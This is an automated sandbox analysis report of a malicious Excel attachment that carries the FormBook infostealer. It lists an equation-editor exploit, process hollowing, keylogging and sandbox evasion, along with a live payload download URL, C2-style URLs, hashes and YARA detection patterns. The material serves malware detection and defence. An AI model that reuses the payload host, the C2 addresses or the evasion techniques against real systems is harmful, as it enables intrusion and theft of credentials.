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Static OLE Info
General
OLE File "EME_PO.47563.xlsx"
Indicators
Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64
General
Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112
General
Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200
General
Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76
General
Stream Path: EncryptedPackage, File Type: data, Stream Size: 194632
General
Stream Path: EncryptionInfo, File Type: data, Stream Size: 224
General

Network Behavior
Snort IDS Alerts
TCP Packets
UDP Packets
ICMP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTP Packets

Code Manipulations
Statistics

Behavior
System Behavior

Analysis Process: EXCEL.EXE PID: 2196 Parent PID: 584
General
File Activities

File Written

Registry Activities
Key Created
Key Value Created

Analysis Process: EQNEDT32.EXE PID: 2348 Parent PID: 584
General
File Activities
Registry Activities

Key Created

Analysis Process: vbc.exe PID: 2436 Parent PID: 2348
General
File Activities

File Created
File Read

Registry Activities
Key Created
Key Value Created

Analysis Process: vbc.exe PID: 2768 Parent PID: 2436
General
File Activities

File Read

Analysis Process: explorer.exe PID: 1388 Parent PID: 2768
General
File Activities

Analysis Process: explorer.exe PID: 2792 Parent PID: 1388
General
File Activities

File Read

Analysis Process: cmd.exe PID: 2804 Parent PID: 2792
General
File Activities

File Deleted

Disassembly
Code Analysis
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Analysis Report EME_PO.47563.xlsx

Overview

General Information

Sample 
Name:

EME_PO.47563.xlsx

Analysis ID: 323358

MD5: 3ef301afc6cc945…

SHA1: fc4f87402b12002…

SHA256: f6feb4b1cb9e6c6…

Tags: Formbook VelvetSweatsho

p xlsx

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince viOffice document tries to convince vi……

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers ExploitingSigma detected: Droppers Exploiting……

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE cSigma detected: EQNEDT32.EXE c……

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQSigma detected: File Dropped By EQ……

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3Yara detected AntiVM_3

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

Contains functionality to log keystro

Contains functionality to log keystro

Contains functionality to log keystro

Contains functionality to log keystro

Contains functionality to log keystro

Contains functionality to log keystro

Contains functionality to log keystroContains functionality to log keystro……

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direcDrops PE files to the user root direc……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE fileOffice equation editor drops PE file

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts processOffice equation editor starts process……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables StarteSigma detected: Executables Starte……

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-ESigma detected: Execution in Non-E……

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious ProgramSigma detected: Suspicious Program……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whicAllocates memory within range whic……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Creates or modifies windows services

Creates or modifies windows services

Creates or modifies windows services

Creates or modifies windows services

Creates or modifies windows services

Creates or modifies windows services

Creates or modifies windows servicesCreates or modifies windows services

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE strDocument misses a certain OLE str……

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTTDownloads executable code via HTT……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directoryDrops PE files to the user directory

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Classification

Malware Configuration

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

EXCEL.EXE (PID: 2196 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 2348 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: 

A87236E214F6D42A65F5DEDAC816AEC8)
vbc.exe (PID: 2436 cmdline: 'C:\Users\Public\vbc.exe'  MD5: 4A105D55BFF1F7304E01CE7198BADA6B)

vbc.exe (PID: 2768 cmdline: {path} MD5: 4A105D55BFF1F7304E01CE7198BADA6B)

explorer.exe (PID: 1388 cmdline:  MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

explorer.exe (PID: 2792 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

cmd.exe (PID: 2804 cmdline: /c del 'C:\Users\Public\vbc.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

No configs have been found

Source Rule Description Author Strings

00000007.00000002.2346887922.0000000000220000.0000
0004.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Startup

Yara Overview

Memory Dumps
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00000007.00000002.2346887922.0000000000220000.0000
0004.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000007.00000002.2346887922.0000000000220000.0000
0004.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x166a9:$sqlite3step: 68 34 1C 7B E1
0x167bc:$sqlite3step: 68 34 1C 7B E1
0x166d8:$sqlite3text: 68 38 2A 90 C5
0x167fd:$sqlite3text: 68 38 2A 90 C5
0x166eb:$sqlite3blob: 68 53 D8 7F 8C
0x16813:$sqlite3blob: 68 53 D8 7F 8C

00000005.00000002.2169851044.00000000002B0000.0000
0040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000005.00000002.2169851044.00000000002B0000.0000
0040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 21 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

5.2.vbc.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

5.2.vbc.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18977:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19a1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

5.2.vbc.exe.400000.0.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x158a9:$sqlite3step: 68 34 1C 7B E1
0x159bc:$sqlite3step: 68 34 1C 7B E1
0x158d8:$sqlite3text: 68 38 2A 90 C5
0x159fd:$sqlite3text: 68 38 2A 90 C5
0x158eb:$sqlite3blob: 68 53 D8 7F 8C
0x15a13:$sqlite3blob: 68 53 D8 7F 8C

5.2.vbc.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

5.2.vbc.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 1 entries

Unpacked PEs
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Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Signature Overview

• AV Detection

• Exploits

• Software Vulnerabilities

• Networking

• Key, Mouse, Clipboard, Microphone and Screen Capturing

• E-Banking Fraud

• System Summary

• Data Obfuscation

• Persistence and Installation Behavior

• Boot Survival

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Stealing of Sensitive Information

• Remote Access Functionality

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected FormBook

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality to log keystrokes (.Net Source)

E-Banking Fraud:

Yara detected FormBook

Copyright null 2020 Page 6 of 41



System Summary:

Malicious sample detected (through community Yara rule)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Office equation editor drops PE file

Data Obfuscation:

.NET source code contains potential unpacker

Boot Survival:

Drops PE files to the user root directory

Malware Analysis System Evasion:

Yara detected AntiVM_3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Shared
Modules 1

Windows
Service 1

Windows
Service 1

Masquerading 1 1 1 Input
Capture 1

Security Software
Discovery 3 2 1

Remote
Services

Input
Capture 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Exploitation for
Client
Execution 1 3

Boot or
Logon
Initialization
Scripts

Process
Injection 6 1 2

Virtualization/Sandbox
Evasion 3

LSASS
Memory

Virtualization/Sandbox
Evasion 3

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1 5

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Disable or Modify
Tools 1 1

Security
Account
Manager

Process Discovery 2 SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 3

Exploit SS7 to
Track Device
Location

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Process
Injection 6 1 2

NTDS Application Window
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 2 3

SIM Card
Swap
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Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Deobfuscate/Decode
Files or Information 1

LSA
Secrets

Remote System
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Obfuscated Files or
Information 4 1

Cached
Domain
Credentials

File and Directory
Discovery 1

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Software
Packing 1 3

DCSync System Information
Discovery 1 1 3

Windows
Remote
Management

Web
Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Behavior Graph
ID: 323358

Sample: EME_PO.47563.xlsx

Startdate: 26/11/2020

Architecture: WINDOWS

Score: 100

www.thejakx.com propage.beatstars.com

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Malicious sample detected
(through community Yara

rule)

Antivirus detection
for URL or domain 16 other signatures

EQNEDT32.EXE

12

        started       

EXCEL.EXE

37 17

        started       

192.227.129.22, 49165, 80

AS-COLOCROSSINGUS

United States

C:\Users\user\AppData\Local\...\vbc[1].exe, PE32

dropped

C:\Users\Public\vbc.exe, PE32

dropped

Office equation editor
starts processes (likely

CVE 2017-11882 or CVE-2018-0802)

vbc.exe

2 5

        started       C:\Users\user\Desktop\~$EME_PO.47563.xlsx, data

dropped

Multi AV Scanner detection
for dropped file

Tries to detect virtualization
through RDTSC time measurements

Injects a PE file into
a foreign processes

vbc.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

xjcg168.com

102.141.201.70, 49171, 80

sun-asnSC

Seychelles

sbsfe-p11r.geo.mf0.yahoodns.net

67.195.197.25, 49170, 80

YAHOO-3US

United States

12 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

explorer.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots
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Source Detection Scanner Label Link

EME_PO.47563.xlsx 38% ReversingLabs Document-
Word.Exploit.CVE-
2017-11882

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1
P\vbc[1].exe

25% ReversingLabs Win32.Trojan.Wacatac

C:\Users\Public\vbc.exe 25% ReversingLabs Win32.Trojan.Wacatac

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files
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Source Detection Scanner Label Link Download

5.2.vbc.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Source Detection Scanner Label Link

cna-notary.com 0% Virustotal Browse

www.8no3.com 0% Virustotal Browse

Source Detection Scanner Label Link

www.mercadolivre.com.br/ 0% URL Reputation safe

www.mercadolivre.com.br/ 0% URL Reputation safe

www.mercadolivre.com.br/ 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

192.227.129.22/vbc.exe 100% Avira URL Cloud malware

www.iis.fhg.de/audioPA 0% URL Reputation safe

www.iis.fhg.de/audioPA 0% URL Reputation safe

www.iis.fhg.de/audioPA 0% URL Reputation safe

www.bestpodstudio.com/mz59/?
rFN0=Xrx4qn&u2M0SF6h=z/+6kJk1ZiQzz1nPj4QpXoSyzw+77qJSyU9yqVlYEeNMvKLM5SL/kyHjrXfbl0j
4G8KzAg==

0% Avira URL Cloud safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

%s.com 0% URL Reputation safe

%s.com 0% URL Reputation safe

%s.com 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

cgi.search.biglobe.ne.jp/favicon.ico 0% Avira URL Cloud safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

www.hostingbisniz.com/mz59/?
rFN0=Xrx4qn&u2M0SF6h=OW9WwwQcQ8ztOX5YgXZ2qNcRwznn7rmsJyX42Vrsm3RiMqRsS0WcEJS
Au/B+R53MEk5Vww==

0% Avira URL Cloud safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

buscar.ozu.es/ 0% Avira URL Cloud safe

busca.igbusca.com.br/ 0% URL Reputation safe

busca.igbusca.com.br/ 0% URL Reputation safe

busca.igbusca.com.br/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

www.pellatrap.net/mz59/?
u2M0SF6h=DyvGskzBclCbgEHOjTp+IehUzdGnZKMlyQnRi93amGKEFkS3cbEvMjPLMaYESsyOmM8Qk
w==&rFN0=Xrx4qn

0% Avira URL Cloud safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

Domains

URLs
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busca.buscape.com.br/favicon.ico 0% URL Reputation safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

www.pchome.com.tw/favicon.ico 0% URL Reputation safe

www.pchome.com.tw/favicon.ico 0% URL Reputation safe

www.pchome.com.tw/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

www.ozu.es/favicon.ico 0% Avira URL Cloud safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

www.tennessyherb.com/mz59/?
u2M0SF6h=DnU1EkBat3Hivgbf1+4PHnhz+o7EzLkrjQo0TNQNOtieRb0aWO5zv8QtAyN+qW28k6DlMA=
=&rFN0=Xrx4qn

0% Avira URL Cloud safe

www.asharqalawsat.com/ 0% URL Reputation safe

www.asharqalawsat.com/ 0% URL Reputation safe

www.asharqalawsat.com/ 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

buscador.terra.es/ 0% URL Reputation safe

buscador.terra.es/ 0% URL Reputation safe

buscador.terra.es/ 0% URL Reputation safe

search.orange.co.uk/favicon.ico 0% URL Reputation safe

search.orange.co.uk/favicon.ico 0% URL Reputation safe

search.orange.co.uk/favicon.ico 0% URL Reputation safe

www.iask.com/ 0% URL Reputation safe

www.iask.com/ 0% URL Reputation safe

www.iask.com/ 0% URL Reputation safe

cgi.search.biglobe.ne.jp/ 0% Avira URL Cloud safe

search.ipop.co.kr/favicon.ico 0% URL Reputation safe

search.ipop.co.kr/favicon.ico 0% URL Reputation safe

